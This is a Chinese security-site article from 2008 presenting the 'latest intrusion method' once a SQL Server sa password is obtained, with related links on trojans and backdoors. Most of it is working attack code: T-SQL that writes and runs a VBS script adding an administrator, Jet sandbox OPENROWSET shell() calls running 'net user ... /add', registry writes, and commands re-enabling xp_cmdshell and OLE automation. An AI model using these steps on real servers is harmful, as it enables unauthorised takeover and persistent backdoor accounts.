当前位置: 代码网 > 服务器>网络安全>企业安全 > Microsoft SQL Server SA权限最新入侵方法

Microsoft SQL Server SA权限最新入侵方法

2008年10月08日 企业安全 我要评论
Microsoft SQL Server SA权限最新入侵方法 在获得SA密码后,往往因为服务器管理者或”前人”将net.exe和net1.exe被限制使用,无法添加管理员账号。我们知道VBS在活动目录(ADSI)部分有一个winnt对象,用来管理本地资... 08-10-08
在获得sa密码后,往往因为服务器管理者或”前人”将net.exe和net1.exe被限制使用,无法添加管理员账号。我们知道vbs在活动目录(adsi)部分有一个winnt对象,用来管理本地资源,利用它可以不依靠cmd等命令就能添加一个管理员,具体代码如下: set wsnetwork=createobject("wscript.network")
os="winnt://"&wsnetwork.computername
set ob=getobject(os) '得到adsi接口,绑定
set oe=getobject(os&"/administrators,group") '属性,admin组
set od=ob.create("user","test") '建立用户
od.setpassword "1234" '设置密码
od.setinfo '保存
set of=getobject(os&"/test",user) '得到用户
oe.add os&"/test" 将上面的代码保存为1.vbs,然后执行,命令为“cscript 1.vbs”,这样就会在系统添加一个系统名为test,密码为1234的用户。具体在查询分析器执行的代码如下: declare @o int, @f int, @t int, @ret int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'createtextfile', @f out, 'c:\1.vbs', 1
exec @ret = sp_oamethod @f, 'writeline', null,'set wsnetwork=createobject
("wscript.network")'
exec @ret = sp_oamethod @f, 'writeline', null,'os="winnt://"&wsnetwork.
computername'
exec @ret = sp_oamethod @f, 'writeline', null,'set ob=getobject(os)'
exec @ret = sp_oamethod @f, 'writeline', null,'set oe=getobject
(os&"/administrators,group")'
exec @ret = sp_oamethod @f, 'writeline', null,'set od=ob.create
("user","test")'
exec @ret = sp_oamethod @f, 'writeline', null,'od.setpassword "1234"'
exec @ret = sp_oamethod @f, 'writeline', null,'od.setinfo '
exec @ret = sp_oamethod @f, 'writeline', null,'set of=getobject
(os&"/test",user) '
exec @ret = sp_oamethod @f, 'writeline', null,'oe.add os&"/test"' 执行完上面的语句,再执行下面这行代码,这行代码一定单独执行,不要与上面的放在一起执行,否则会提示“c:\1.vbs正被另一个程序运行”而无法成功添加用户: exec master..xp_cmdshell 'cscript c:\1.vbs' 如果系统用户没有添加成功,有可能是因为系统用户的密码1234的太简单,不符合服务器的复杂密码策略,可以考虑设置的复杂些,然后再测试一下。也可以使用echo将代码写到1.vbs中,代码格式为: exec master..xp_cmdshell 'echo set wsnetwork=createobject("wscript.network")
>>1.vbs' 不过,不知道为什么所有带“&”字符的命令行都无法写入1.vbs,感兴趣的朋友可以尝试解决一下。 使用jet沙盘模式,可以解决xp_cmdshell等存储过程和相关动态链接库带来的烦恼。出于安全原因,系统默认情况下沙盘模式未开启,这就需要xp_regwrite开启沙盘模式: exec master.dbo.xp_regwrite 'hkey_local_machine','software\microsoft\jet\4.0
\engines','sandboxmode','reg_dword',1 然后执行沙盘命令,在系统添加一个用户名为test,密码为1234的用户: select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows
\system32\ias\ias.mdb','select shell("cmd.exe /c net user test 1234 /add")') select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows
\system32\ias\ias.mdb','select shell("cmd.exe /c net localgroup
administrators test /add")') 不同的操作系统,路径也不一样,需要根据情况做修改: nt/2k: c:\winnt\system32\
xp/2003: c:\windows\system32\ 另外microsoft sql server2005在默认情况下,一些存储过程是关闭着的,需要命令打开: 开启xp_cmdshell: exec sp_configure 'show advanced options', 1;reconfigure;exec sp_configure
'xp_cmdshell', 1;reconfigure; 开启'openrowset': exec sp_configure 'show advanced options', 1;reconfigure;exec sp_configure
'ad hoc distributed queries',1;reconfigure; 开启'sp_oacreate': exec sp_configure 'show advanced options', 1;reconfigure;exec sp_configure
'ole automation procedures',1;reconfigure;
(0)

相关文章:

  • 黑客如何破坏杀毒软件

    黑客如何破坏杀毒软件

    黑客如何破坏杀毒软件 最近有调查报告显示,知名品牌的杀毒软件对新型计算机病毒的查杀率只有20%,而漏杀率却高达80%。那么是什么原因造成这种状况的?到底是如今... [阅读全文]
  • 4种最流行的木马捆绑器技巧

    4种最流行的木马捆绑器技巧

    4种最流行的木马捆绑器技巧 一、传统的捆绑器   这种原理很简单,也是目前用的最多的一种。就是将B.exe附加到A.exe的末尾。这样当A.exe被执行的... [阅读全文]
  • Mysql BackDoorDoor(图)

    Mysql BackDoorDoor(图)

    Mysql BackDoorDoor(图) Mysql BackDoor是一款针对PHP Mysql服务器开发的后门,后门安装后为Mysql增加一个可以执行系... [阅读全文]
  • 提权的一种方法

    提权的一种方法

    提权的一种方法 有时候拿到一SHELL是SA权限。但是内网。我们直接想到用LCX转发端口那假如LCX被杀了之后你会怎么办呢当然很多人就会想到用远控。。。因为我... [阅读全文]
  • 用Shell做DEAMON后台来控制安全访问

    用Shell做DEAMON后台来控制安全访问

    用Shell做DEAMON后台来控制安全访问 如何做一个后台DEAMON来控制安全访问?这就是贯穿这篇文章的中心概念。我的控制访问比较特殊,考虑到远程登陆点并... [阅读全文]
  • mssql SA权限最新利用方法

    mssql SA权限最新利用方法

    mssql SA权限最新利用方法 在获得SA密码后,往往因为服务器管理者或”前人”将net.exe和net1.exe被限制使用,无法添... [阅读全文]

版权声明:本文内容由互联网用户贡献,该文观点仅代表作者本人。本站仅提供信息存储服务,不拥有所有权,不承担相关法律责任。 如发现本站有涉嫌抄袭侵权/违法违规的内容, 请发送邮件至 2386932994@qq.com 举报,一经查实将立刻删除。

发表评论

验证码:
Copyright © 2017-2025  代码网 保留所有权利. 粤ICP备2024248653号
站长QQ:2386932994 | 联系邮箱:2386932994@qq.com